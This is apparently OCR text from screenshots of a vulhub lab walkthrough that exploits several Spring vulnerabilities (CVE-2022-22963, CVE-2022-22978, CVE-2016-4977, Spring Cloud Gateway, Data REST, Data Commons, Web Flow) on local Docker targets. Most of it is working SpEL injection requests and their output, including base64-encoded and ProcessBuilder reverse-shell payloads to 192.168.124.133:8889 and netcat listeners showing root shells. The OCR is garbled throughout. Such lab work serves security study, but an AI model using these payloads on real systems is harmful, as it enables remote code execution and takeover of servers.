wd960726af2be Pull complete
we8d62473a22d Pull complete
8962bcOfad55 Pull complete
w961f7dalb9e5 Pull complete
7bal90cfbc66 Pull complete
w595e52ef2alb Pull complete
welbf9d6ed8d7 Pull complete
[+] Running 2/2
wNetwork cve-2022-22963_default Created
wContainer cve-2022-22963-spring-1 Started

S:\vulhub\vulhub\spring\CVE-2022-22963>docker ps
CONTAINER ID IMAGE COMMAND
ced2el197al0e vulhub/spring-cloud-function:3.2.2 "java -Djava.securit.."

S:\vulhub\vulhub\spring\CVE-2022-22963>

CREATED
4 minutes ago

STATUS
Up 4 minutes

PORTS
0.0.0.0:8080->8080/tcp, [::]:8080->8080/tcp

NAMES
cve-2022-22963-spring-1

.6s
BOS]
B
.6s
BOS]
BOS]
B2
.2s

.0s
.6s
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< C  AFz2 192.168.1.4:8080

Whitelabel Error Page

This application has no configured error view, so you are seeing this as a fallback.

Fri Oct 31 02:42:24 UTC 2025
[434f45ea-1] There was an unexpected error (type=Not Found, status=404).
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Request Response
Pretty Raw  Hex \n = | pretty Raw Hex Render
1 POST /functionRouter HTTP/1.1 1 HITP/1.1 500 Internal Server Error
> Host: 192.168. 1. 4:8080 2 Content-Type: text/html;charset=UTF-8§
3 Cache-Control: max-age=0 3 Content-Length: 295
4 Accept-Language: zh-CN, zh;q=0.9 4
5 Upgrade-Insecure-Requests: 1 5 <html>
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 <body>
Safari/537. 36 <h1>
Accept: Whitelabel Error Page
text/html, application/shtml+xnl, application/xml;q=0.9, inage/avif, inage/webp, image/apng, +/*;q=0. 8, application/sign </n1>
ed-exchange; v=b3;q=0. 7 <p>
S Accept-Encoding: gzip, deflate, br This application has no configured error view, so you are seeing this as a fallback.
9 : v </p>
0 spring. cloud. function. routing-expression: T(java. lang. Runtime). getRuntime (). exec(“touch /tmp/maclin”) < <div id="created >
L Content-Type: text/plain Fri Oct 31 02:56:53 UTC 2025
> Content-Length: 3 </div>
3 <div>
4123 [50da9662-18] There was an unexpected error (type=Internal Server Error, status=500).
</div>
</body>

</html>
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root@ced2el97al0e:

/tmp

root@ced2el97alle:

total 4
drwxr-xr-x 1 root

root@ced2el97alle:

/tmp

root@ced2el97alle:

total 4
drwxr-xr-x 1 root
-rw-r--r-- 1 root

root@ced2el97alle:

/tmp# pwd
/tmp# 1s -1

root 4096 Oct 31 02:37 hsperfdata_root
/tmp# puwd

/tmp# 1s -1
root 4096 Oct 31 02:37 hsperfdata_root

root © Oct 31 02:56 maolin
/tmp#
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@EnableliebSecurity
i | public class springSecurityConfig extends WebSecurityConfigurerAdapter §

@override
te protected void configure(HttpSecurity httpSecurity) throws Exception{
httpSecurltVAautharizekequests()|.reqexl|atchers( .regexPatterns: "/admin/.*')lauthenticated();
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@ CVE-2022-22978

€ 9 C  Axxe 192168.124.130:8080/admin/123

Forbidden / Access denied
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@ Admin Page x 4
€ 5 C  Axze 192168.124.130:8080/admin/1%0d%0a

Congratulations, you are an admin!
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@ 192168.124.130:8080/0auth, X+

< C  AFze 192.168.124.130:8080/0auth/authorize?response type=$(2-2}&client id=acme&scope=openidauedir.. ¥ £}

OAuth Error

error="unsupported_response_type", error_description="Unsupported response types: [4]"

\





image17.png
rootQubuntu:~/vulhub/spring/CVE-2016-4977# python3 ./poc.py

Enter message to encode:bash —-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIuMTY4LjEYNC4xMjgvODg40SAWPiYx} |{base64,-d}|{bash,-i}
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).conc
ter).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
g(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).
(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104
.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(J
oString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Cha
.concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toStri
a.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).conca
er).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang
65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).t
(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).c
racter).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.
ing(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character
at(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73
.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(J
oString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Chara
concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toStri
.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).conca
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< G AFze 192168.124.130:8080/0auth/authorize?response_type=$($(T(javalang Runtime) getRuntime(.exec(Tj.. % 3 = &

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Tue Aug 25 09:20:54 UTC 2026

There was an unexpected error (type=Internal Server Error, status=500).

Unsupported response types:
[${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java
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C:\Users\lin\Desktop\WebLogic>nc64. exe —lvnp 8889

listening on [any] 8889 ...

connect to [192.168. 124. 128] from (UNKNOWN) [192.168. 124.130] 33596

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@6293a0aclbl4: /# whoami

whoami

root

root@6293a0aclbl4:/# pwd

pwd

/
root@6293a0aclbl4: /# o





image20.png
C  AFze 192168.124.1308080

Example Domain

This domain is for use in documentation examples without needing permission. Avoid
use in operations.

Learn more
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Hex  TWEER

Hex «E@Wwn

POST /actuator/gateway/routes/hacktest HTTP/1. 1 1 HTTP/1. 1 201 Created
Host: 192.168. 124. 130:8080 2 Location: /routes/hacktest
Accept-Encoding: gzip, deflate 3 content-length: 0

Accept: */* 4 connection: close

Accept-Language: en 5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 6
(KHTML, like Gecko) Chrome/97. 0. 4692. 71 Safari/537. 36

Connection: close i

Content=Type: application/json

Content-Length: 314

{
”id”:"hacktest”,
“filters”:[
{
“name” : “AddResponseHeader”,
Targs”: [
“name”: “Result”,
“value”:
“#(new String (T (org. springframework. util. StreamUtils). copyToByte
Array (T (java. lang. Runtime) . getRuntime 0. exec (new String[] (\"whoa
mi\"}). getInputStrean()))}”
)
)
1,

“uri”:"http://example. con”
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B Raw  Hex 2B =

T U W N

POST /actuator/gateway/refresh HTTP/1.1

Host: 192. 168. 124. 130:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/x-www—formf-urlencoded

Content-Length: 2

% Raw  Hex HEE:

1 HTTP/1.1 200 OK

2 content-length: 0
3 connection: close
4

5





image23.png
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% Raw  Hex
1 GET /actuator/gateway/routes/hacktest HTTP/I. 1
2 Host: 192.168. 124. 130:8080 Content=Type: application/json

1

2
3 Accept-Encoding: gzip, deflate 3 Content-Length: 194
4 Accept: */* 4 connection: close
5
6

HTTP/1. 1 200 OK

5 Accept-Language: en

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (

(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 “predicate”:“RouteDef initionRouteLocator§$Lambda$1051/1120875674",
7 Connection: close “route_id”:"hacktest”,
8 Content-Type: application/x—www—form-urlencoded “filters”:[
9 Content-Length: 2 “[[AddResponseHeader Result = "root\n’], order = 11"
0 1,
1 “uri”:"http://example. com:80”,
2 “order”:0

}
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et Raw  Hex REB "= :M Rw Hex mEER

- DELETE /actuator/gateway/routes/hacktest HTTP/I. 1 1 HTTP/1. 1 200 OK

» Host: 192.168. 124. 130:8080 2 content-length: 0
) Accept-Encoding: gzip, deflate 3 connection: close
| Accept: */* 4

) Accept-Language: en 5

]

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Length: 2
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ER L]

¥ Raw  Hex REB "= ®M Rw  Hex mEER
1 POST /actuator/gateway/refresh HTTP/1.1 1 HTTP/1. 1 200 OK

2 Host: 192. 168. 124. 130:8080 2 content-length: 0

3 Accept-Encoding: gzip, deflate 3 connection: close

4 Accept: */* 4

5 Accept-Language: en 5

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
7 Connection: close
8 Content-Type: application/x—www—form-urlencoded
9 Content-Length: 0
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€ 5 G AFze 192168.124.130:8080
Wt O

d
Links” : {
ustomers” : |

“href” : “http://192. 168. 124. 130:8080/customers™

Drofile”
“href” : “http://192. 165. 124 130:8080 profile”
)
)
)
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€ > C  AFze 192168.124.130:8080/customers

(%Eﬁtﬂ (m]
“_embedded” : {
“customers” : [ [
“firstname” : “Dave”,
“lastnane” : “Matthews”,
“gender” : “MALE”,
“address” : |
“street” : "4711 Some Place”,

“2ipCode” : “54321°,
“eity” : “Charlottesville”,
state” : VA"

1

inks” 5 {
“self” : {

“href” : “http://192. 168. 124. 130:8080/customers/1”
)

Custoner” :
“href” : “http://192. 168. 124. 130:8080/customers/1”
)

11

1

“_links” : {
“self” : {

“href” : “http://192. 168. 124. 130:8080/customers™
1
“profile” : [

“href” : “http://192. 168. 124. 130:8080/profile/customers”
}
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€ > C  AFze 192168.124.130:8080/customers/1

“4711 Sone Place”,
“54321",
“Charlottesville”,

“http://192. 168. 124. 130:8080/customers/1”

http://192. 168. 124. 130:8080/ customers/1”
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B Raw  Hex @ =
1 PATCH /customers/1 HTTP/1. 1

2 Host: 192.168. 124. 130:8080

3 Accept-Encoding: gzip, deflate

4 Accept: */*

5 Accept-Language: en

=)

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)

7 Connection: close

8 Content-Type: application/json-patch+json

9 Content-Length: 202

0

1L

“op”:"replace”’

“path”:

“T(java. lang. Runtime). getRuntime (). exec (new java. lang. String(n
ew byte[] (116, 111, 117, 99, 104, 32, 47, 116, 109, 112, 47, 115, 117, 99, 9
9,101, 115, 115})) /lastname”,

“value”:”vulhub”

®M  Raw @ "=
1 HTTP/1.1 400
2 Content-Type: application/hal+json;charset=UTF-8
3 Date: Tue, 25 Aug 2026 10:11:31 GMT
4 Connection: close
5 Content-Length: 456

Hex  TEEHR

6
7
“cause”: {
“cause” :null,
“message”:
“EL1010E: Property or field ’lastname’ cannot be set on object
of type ' java. lang. UNIXProcess’ - maybe not public?”
1,
“message”:
“Could not read an object of type class example. springdata. rest. hea
ders. Customer from the request!; nested exception is org.springfram
ework. expression. spel. SpelEvaluationException: EL1010E: Property or
field " lastname’ cannot be set on object of type ’ java. lang. UNIXPr
ocess’ — maybe not public?”
)
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[root@ubuntu:~/vulhub/spring/CVE-2017-
[root@eb3adefccef@:/# 1s /tmp/
hsperfdata_root success ‘ggpcat—docb
root@eb3adefccefo: /# ]
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& 192168.124.1308080 x4+

<« C  AFze 192168.124.1308080

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Wed Aug 26 00:42:52 UTC 2026
There was an unexpected error (type=Not Found, status=404).
No message available
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o Users x o+

€ > C  AFze 192168.124.130:8080/users

Users

. user0 - $2a$10$KOpFninwtnhe/TqFwwI8vO.t00svjubdBTeJzUw/VALI3y.IKOEGK

. user! - $2a$10$WPKYNSbHczkpNWPUs30L6.6n8.0YKXWUBUANHBor TTx9h9HBxyyq
. user2 - $2a$10$gYAXGInLUNSheRIX8sYpLewCXMd88I3. ESUTBPomKdZdR 1gYALcHO
. user3 - $2a$10$GKfHWo7Y1jofrOPCjuMVMuJeOBAYU.UEMSz27Y7/82bMZz0gciZMq

. user4 - $2a$10$jTII1tyXOQSDAJBMMfUQVONoDhyJqZUiXWveg4CCOEhanCVjQOYAC

EIFNERNN

Username

Password

Password (repeated)

Register user




image33.png
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R

POST /users?page=&size=5 HTTP/1. 1

Host: 192. 168. 124. 130:8080

Content-Length: 58

Cache-Control: max-age=0

Accept-Language: zh-CN, zh;q=0.9

Origin: http://192. 168. 124. 130:8080

Content=Type: application/x—www—form-urlencoded

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/145. 0. 0.0 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */
#;4=0. 8, application/signed-exchange;v=h3;q=0. 7

Referer: http://192.168. 124. 130:8080/users

Accept-Encoding: gzip, deflate, br

Connection.. keepzalive.

username=admin1010&password=123456&repeatedPassword=123456

% Raw  Hex  FEER

1

2
3
4
5
6
7

HTTP/1.1 302

Location: redirect:/users?page=&size=5
Content-Language: zh-CN
Content-Length: 0

Date: Wed, 26 Aug 2026 00:48:14 GMT
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R

%4  Raw

=@

Hex

3 Connec

POST /users?page=&size=5 HTTP/1. 1

Host: 192. 168. 124. 130:8080

Content-Length: 136

Cache-Control: max-age=0

Accept-Language: zh-CN, zh;q=0.9

Origin: http://192. 168. 124. 130:8080

Content=Type: application/x—www—form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/w

ebp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 7

Referer: http://192.168. 124. 130:8080/users

Accept-Encoding: gzip, deflate, br

€.

username[#this. getClass 0. forName ( java. lang. Runtime”). getRuntime (). exec
(“touch /tmp/success”) |=test&password=test&repeatedPassword=test|

L]

% Raw

HTTP/1.1 500

Content-Type: text/html;charset=IS0-8859-1
Content-Language: zh-CN

Content-Length: 497

Date: Wed, 26 Aug 2026 04:12:11 GMT
Connection: close

Hex  TEEHR

=@

® N A N —

<html>
<body>

<h1>
Whitelabel Error Page

</h1>

>
This application has no explicit mapping for /error, so
you are seeing this as a fallback.

</p>

<div id="created’ >
Wed Aug 26 04:12:11 UTC 2026

</div>

<div>
There was an unexpected error (type=Internal Server
Error, status=500).

</div>
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r00t@48687b14b%9e0:/# 1s -1 /tmp
total 12

drwxr—-xr—-x 1 root root 4096 Aug 26 04:09 hsperfdata_root
-rw-r——-r—— 1 root root 0 Aug 26 04:12 success4——”’—————'—’—’
drwxr—-xr—x 2 root root 4096 Aug 26 04:09 tomcat—docbase.1762106791087287978.8080

drwxr-xr—x 3 root root 4096 Aug 26 04:09 tomcat.6277944738682240993.8080
root@48687b14b%e0: /# [
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AFe 192168.124.130:8080 Q

Login

8 Welcome to Spring Travel

This sample demonstrates how to use Spring MVC and Spring Web Flow together with Thymeleaf and Tiles.
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AFze 192168.124.130:8080/login

,q Valid username/passwords are: Login Information

« keith/melbourne User:
* erwin/leuven

* jeremy/atlanta
* scott/rochester

keith

Password:

Don't ask for my password for two weeks:
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Search Hotels

Search String: Maximum results: 5 v

Current Hotel Bookings

No bookings found
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Hotel Results

Change Search

e e — e e it
Westin Diplomat 3555 S. Ocean Drive Hollywood, FL, USA 33019 View Hotel
Jameson Inn 890 Palm Bay Rd NE Palm Bay, FL, USA 32905 View Hotel
Chilworth Manor The Cottage, Southampton Business Park Southampton, Hants, UK SO167JF | View Hotel
Marriott Courtyard Tower Place, Buckhead Aflanta, GA, USA 30305 View Hotel
Doubletree Tower Place, Buckhead Aflanta, GA, USA 30305 View Hotel

More Results
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Hotel Results

Change Search

33019

View Hotel

Westin Diplomat 3555 S. Ocean Drive Hollywood, FL, USA

Jameson Inn 890 Palm Bay Rd NE Palm Bay, FL, USA 32905 View Hotel
Chilworth Manor The Cottage, Southampton Business Park ‘Southampton, Hants, UK S016 7JF View Hotel
Marriott Courtyard Tower Place, Buckhead Atlanta, GA, USA 30305 View Hotel
Doubletree Tower Place, Buckhead Atlanta, GA, USA 30305 View Hotel

More Results
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Westin Diplomat

3555 S. Ocean Drive
Hollywood, FL, 33019
USA

Nightly Rate: 199.00

Book Hotel
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Westin Diplomat
3555 S. Ocean Drive
Hollywood, FL, 33019
USA

Nightly rate: 199.00

Book Hotel
Check In:
Check Out:

Room Preference:

‘Smoking Preference:

Amenities:

Credit Card #:
Credit Card Name:

Expiration Date:

= =

08-27-2026

08-28-2026

One king-size bed

(") Smoking (@ Non Smoking

| | Ocean View
| |Late Checkout
|| Minibar

1233211111111

11

Jan v 12008 v
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Westin Diplomat

3555 S. Ocean Drive
Hollywood, FL, 33019
USA

Confirm Booking Details

Check In: Thu Aug 27 00:00:00 UTC 2026
Checkout: Fri Aug 28 00:00:00 UTC 2026
Number of Nights: 1

Total Payment: 199.00

Credit Card #: 1233211111111

T ememe
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10 *E ) & URL
2042326 Au.. HTTP > &% POST http://192.168.124.130:8080/hotels/bookingZexecution=e1s2

LB

%4 Raw  Hex

| POST /hotels/booking?execution=els2 HTTP/1. 1

’ Host: 192. 168. 124. 130:8080

5 Content-Length: 60

I Cache-Control: max-age=0

) Accept-Language: zh-CN, zh;q=0.9

5 Origin: http://192. 168. 124. 130:8080

! Content-Type: application/x-www—form-urlencoded

3 Upgrade-Insecure-Requests: 1

) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

) Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */%;q=0. 8, application/signed-excha
| Referer: http://192.168.124. 130:8080/hotels/booking?execution=els2

» Accept-Encoding: gzip, deflate, br

3 Cookie: JSESSIONID=C8614671E8B677FDBB4007768CD4C242

I Connection: keep-alive
5
5

5 _eventld_confirm=& csrf=e5d3ba47-db71-4e13-b453-a10545d06£98
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POST /hotels/booking?execution=els2 HTTP/1. 1

Host: 192. 168. 124. 130:8080

Content-Length: 172

Cache-Control: max-age=0

Accept-Language: zh-CN, zh;q=0.9

Origin: http://192. 168. 124. 130:8080

Content=Type: application/x—www—form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/w

ebp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 7

Referer: http://192.168. 124. 130:8080/hotels/booking?execution=els2

Accept-Encoding: gzip, deflate, br

Cookie: JSESSIONID=C8614671E8B677FDBB4007768CD4C242

Connection.. keepzalive.

_eventId confirm=& csrf=e5d3bad7-db71-4e13-b453-a10545d06f98%
_(new+java. lang. ProcessBuilder ("bash”, “~¢”, “bash+i+>%26+/dev/tep/192. 16
8.124. 133/8889+0>%261")) . start ) =vulhub

L]

% Raw

® N A N —

9
10

12
13
14

15

HTTP/1.1
Server:

X-Conten
X-XSS—Pr
Cache~Co
Pragma:

Expires:
X-Frame—
Content~
Content-]
Date: We
Connect i
Content-]

<!DOCTYP]
<head>
<tit

Ap

</ti
sty

Hex  TEEHR

500 Internal Server Error
Apache-Coyote/1. 1
t-Type-Options: nosniff
otection: 1; mode=block
ntrol: no-store

Options: DENY

Type: text/html;charset=utf-8
Language: en

d, 26 Aug 2026 04:07:41 GMT
on: close

Length: 10947

E html><html>

le>

ache Tomcat/8.0.43 — Error report
tle>

le type="text/css”>

HI{

font—family: Tahoma, Arial, sans—serif
color:white;background-color:#525D76;

=@
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C:\Users\lin\Desktop\WebLogic>nc64. exe —1vnp 8889
listening on [any] 8889 ...
connect to [192.168.124.133] from (UNKNOWN) [192.168. 124. 130] 57250

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@4760d3e86361:/usr/local/tomcat# pwd

pwd
/usr/local/tomcat
root@4760d3e86361:/usr/local/tomcat#t whoami
hoami
root
root@4760d3e86361: /usr/local/tomcat#
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